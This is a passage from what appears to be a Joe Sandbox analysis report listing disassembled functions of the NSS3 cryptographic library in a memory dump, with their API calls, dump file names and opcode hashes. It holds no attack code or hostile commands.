SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6B3D90 Relevance: 7.6, APIs: 5, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DB0
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,00000000,-00000001,?,00000000,?,6C6B38A2), ref: 6C6B3DBF

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DD9
_wstat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000,000000FF,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DE7
free.MOZGLUE(00000000,?,000000FF,00000000,00000000,6C6B38A2), ref: 6C6B3DF8

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValue_wstat64i32freemalloc
String ID:
API String ID: 1642359729-0
Opcode ID: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction ID: 129c18116346e87937ad7dc8c3356e35a78a46293e027ba5b0a58eb03d63ac8a
Opcode Fuzzy Hash: bf1f8cd894cb4146a1c64655915f4fbff7ba1a7066e0e0c857eb66bf960b27da
Instruction Fuzzy Hash: 5C01DBB57051113BFB1055B56C46E7F3DACDB417A9B140236FD15EA580ED62CC2182F5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087337217.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087352897.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C6B3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6C6B3975), ref: 6C6B3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6C6B3975), ref: 6C6B3E38

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6C6B3975), ref: 6C6B3E52
DeleteFileW.KERNEL32(00000000), ref: 6C6B3E5D
free.MOZGLUE(00000000), ref: 6C6B3E64

Memory Dump Source

Source File: 00000000.00000002.2087146797.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2087130811.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087307273.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2087322322.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
